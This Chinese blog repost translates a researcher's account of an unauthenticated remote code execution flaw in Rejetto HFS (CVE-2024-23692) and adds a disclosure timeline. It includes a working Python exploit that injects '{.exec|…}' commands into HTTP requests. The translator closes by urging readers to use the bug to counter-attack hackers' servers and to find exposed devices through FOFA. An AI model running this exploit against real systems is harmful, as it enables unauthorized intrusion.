今天无意中发现了一篇漏洞的文章,下面是文章的翻译。
我刚刚决定分享一个有趣的未授权远程代码执行(Unauthenticated RCE)以及它背后的故事!
Rejetto HTTP文件服务器
在一次红队评估中,我偶然发现了一个神秘的Web应用程序:
这是我在80/tcp端口上遇到的
这个Web应用程序被确认为Rejetto HFS,这是一个曾经流行的Windows Web服务器,首次发布于2002年8月。
快速在线搜索显示2.3m版本没有已知漏洞。然而,我惊讶地发现旧版本有多个RCE!
import socket
url = raw_input("Enter URL : ")
try:
while True:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((url, 80))
cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")
req = "GET /?{.exec|"+cmd+".}"
req += " HTTP/1.1rnrn"
sock.send(req)
sock.close()
print "Done!"
except KeyboardInterrupt:
print "Bye!"
这段代码用于利用HTTP文件服务器2.1.2中的RCE,发现于ExploitDB
“{.exec”是什么?这是最早的模板注入之一吗?该软件看起来太老了,不适合这种攻击,而且平台Windows也不同寻常。
困惑之下,我决定下载并分析发生了什么。我从官方网站获取了一个exe文件,并在GitHub上找到了源代码,原来它是用Delphi编写的。
未认证的远程代码执行
当我在GitHub和IDA Pro上看到代码时,我感到惊讶。的确,HFS有自己的模板解析器,使其成为同类中最古老的之一。
此外,我用了不到10分钟就绕过了所有限制,并在标记为最新和稳定的2.3m版本上执行了我的代码!
我决定发布一个经过编辑的屏幕截图
这有点具有挑战性,但最终,我创建了一个POC,它不仅执行代码,还返回输出,并通过日志文件隐藏自己(通过空字节)。请注意,Host头的值也被篡改了,这对于注入至关重要。
时间线
18/08/2023 — 向供应商报告
21/08/2023 — 收到回复
24/05/2024 — 通知供应商披露
24/05/2024 — 收到回复
25/05/2024 — 文章发布
25/05/2024 — 请求CVE 1671764
31/05/2024 — MITRE分配CVE-2024-23692
这个洞虽然简单但是却很有意思,因为一些境外黑客组织,他们在攻击完国内的某些单位后会将单位内的文件打包放到这种HTTP文件服务器上。
如果之后再遇到有组织的攻击手法涉及到这种HFS,各位可以试试用这个洞进行反制。
或者现在就通过fofa来找一批设备进行主动发现。
其他的反制和线索发现思路可以看看我的这篇文章
原文始发于微信公众号(3072):境外黑客组织线索发现思路
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论